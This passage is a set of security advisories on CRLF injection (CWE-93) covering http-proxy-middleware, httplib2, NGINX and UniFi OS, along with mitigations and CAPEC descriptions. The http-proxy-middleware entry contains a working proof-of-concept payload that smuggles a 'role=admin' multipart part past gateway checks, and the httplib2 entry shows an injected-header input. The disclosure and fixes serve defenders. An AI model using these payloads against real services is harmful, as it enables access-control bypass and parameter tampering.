if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}
(Reject is preferable to silent stripping, to avoid masking malicious input.)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-proxy-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.4"
},
{
"fixed": "3.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "http-proxy-middleware"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55603"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:06:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n`fixRequestBody()` is the library\u0027s documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n let str = \u0027\u0027;\n for (const [key, value] of Object.entries(data)) {\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy\u0027s own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in \u2192 multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy\u0027s multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from \u0027http-proxy-middleware\u0027;\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field\u0027s value holds CRLF:\nconst req = { readableLength: 0, body: {\n user: \u0027alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--\u0027\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n h: { \u0027content-type\u0027: \u0027multipart/form-data; boundary=BB\u0027 },\n getHeader(n){ return this.h[n.toLowerCase()]; },\n setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req); // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\" \u003c-- injected part; never present in req.body\u0027s keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend\u0027s multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n const bad = /[\\r\\n]/;\n let str = \u0027\u0027;\n for (const [key, value] of Object.entries(data)) {\n const v = String(value);\n if (bad.test(key) || bad.test(v)) {\n throw new Error(\u0027fixRequestBody: CR/LF not allowed in multipart field name/value\u0027);\n }\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, \u0027%22\u0027)}\"\\r\\n\\r\\n${v}\\r\\n`;\n }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
"id": "GHSA-gcq2-9pq2-cxqm",
"modified": "2026-06-18T13:06:21Z",
"published": "2026-06-18T13:06:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
},
{
"type": "PACKAGE",
"url": "https://github.com/chimurai/http-proxy-middleware"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`"
}
GHSA-GG84-QGV9-W4PQ
Vulnerability from github – Published: 2020-05-20 15:55 – Updated: 2024-09-20 21:55Impact
Attacker controlling unescaped part of uri for httplib2.Http.request() could change request headers and body, send additional hidden requests to same server.
Impacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping.
Patches
Problem has been fixed in 0.18.0 Space, CR, LF characters are now quoted before any use. This solution should not impact any valid usage of httplib2 library, that is uri constructed by urllib.
Workarounds
Create URI with urllib.parse family functions: urlencode, urlunsplit.
user_input = " HTTP/1.1\r\ninjected: attack\r\nignore-http:"
-uri = "https://api.server/?q={}".format(user_input)
+uri = urllib.parse.urlunsplit(("https", "api.server", "/v1", urllib.parse.urlencode({"q": user_input}), ""))
http.request(uri)
References
https://cwe.mitre.org/data/definitions/93.html https://docs.python.org/3/library/urllib.parse.html
Thanks to Recar https://github.com/Ciyfly for finding vulnerability and discrete notification.
For more information
If you have any questions or comments about this advisory: * Open an issue in httplib2 * Email current maintainer at 2020-05
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "httplib2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-11078"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2020-05-20T15:55:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nAttacker controlling unescaped part of uri for `httplib2.Http.request()` could change request headers and body, send additional hidden requests to same server.\n\nImpacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping.\n\n### Patches\nProblem has been fixed in 0.18.0\nSpace, CR, LF characters are now quoted before any use.\nThis solution should not impact any valid usage of httplib2 library, that is uri constructed by urllib.\n\n### Workarounds\nCreate URI with `urllib.parse` family functions: `urlencode`, `urlunsplit`.\n\n```diff\nuser_input = \" HTTP/1.1\\r\\ninjected: attack\\r\\nignore-http:\"\n-uri = \"https://api.server/?q={}\".format(user_input)\n+uri = urllib.parse.urlunsplit((\"https\", \"api.server\", \"/v1\", urllib.parse.urlencode({\"q\": user_input}), \"\"))\nhttp.request(uri)\n```\n\n### References\nhttps://cwe.mitre.org/data/definitions/93.html\nhttps://docs.python.org/3/library/urllib.parse.html\n\nThanks to Recar https://github.com/Ciyfly for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2020-05](mailto:temotor@gmail.com)",
"id": "GHSA-gg84-qgv9-w4pq",
"modified": "2024-09-20T21:55:12Z",
"published": "2020-05-20T15:55:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-gg84-qgv9-w4pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11078"
},
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/commit/a1457cc31f3206cf691d11d2bf34e98865873e9e"
},
{
"type": "PACKAGE",
"url": "https://github.com/httplib2/httplib2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2020-46.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r23711190c2e98152cb6f216b95090d5eeb978543bb7e0bad22ce47fc@%3Cissues.beam.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4d35dac106fab979f0db75a07fc4e320ad848b722103e79667ff99e1@%3Cissues.beam.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r69a462e690b5f2c3d418a288a2c98ae764d58587bd0b5d6ab141f25f@%3Cissues.beam.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7f364000066748299b331b615ba51c62f55ab5b201ddce9a22d98202@%3Cissues.beam.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rad8872fc99f670958c2774e2bf84ee32a3a0562a0c787465cf3dfa23@%3Cissues.beam.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc9eff9572946142b657c900fe63ea4bbd3535911e8d4ce4d08fe4b89@%3Ccommits.allura.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IXCX2AWROGWGY5GXR7VN3BKF34A2FO6J"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PZJ3D6JSM7CFZESZZKGUW2VX55BOSOXI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CRLF injection in httplib2"
}
GHSA-GGR6-FMR8-2M8G
Vulnerability from github – Published: 2026-03-24 15:30 – Updated: 2026-03-24 15:30NGINX Plus and NGINX Open Source have a vulnerability in the ngx_mail_smtp_module module due to the improper handling of CRLF sequences in DNS responses. This allows an attacker-controlled DNS server to inject arbitrary headers into SMTP upstream requests, leading to potential request manipulation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2026-28753"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-24T15:16:33Z",
"severity": "MODERATE"
},
"details": "NGINX Plus and NGINX Open Source have a vulnerability in the ngx_mail_smtp_module module due to the improper handling of CRLF sequences in DNS responses. This allows an attacker-controlled DNS server to inject arbitrary headers into SMTP upstream requests, leading to potential request manipulation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-ggr6-fmr8-2m8g",
"modified": "2026-03-24T15:30:29Z",
"published": "2026-03-24T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28753"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000160367"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GRG7-48RG-2R86
Vulnerability from github – Published: 2026-08-27 06:31 – Updated: 2026-08-27 06:31A malicious actor with access to the network could exploit an Improper Neutralization of CRLF Sequences vulnerability found in certain devices running UniFi OS to bypass authentication to such UniFi OS devices or instances.
{
"affected": [],
"aliases": [
"CVE-2026-77550"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T11:16:38Z",
"severity": "CRITICAL"
},
"details": "A malicious actor with access to the network could exploit an Improper Neutralization of CRLF Sequences vulnerability found in certain devices running UniFi OS to bypass authentication to such UniFi OS devices or instances.",
"id": "GHSA-grg7-48rg-2r86",
"modified": "2026-08-27T06:31:29Z",
"published": "2026-08-27T06:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77550"
},
{
"type": "WEB",
"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-067/fc4a3488-7c43-4628-8bab-f715e96dbfc9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.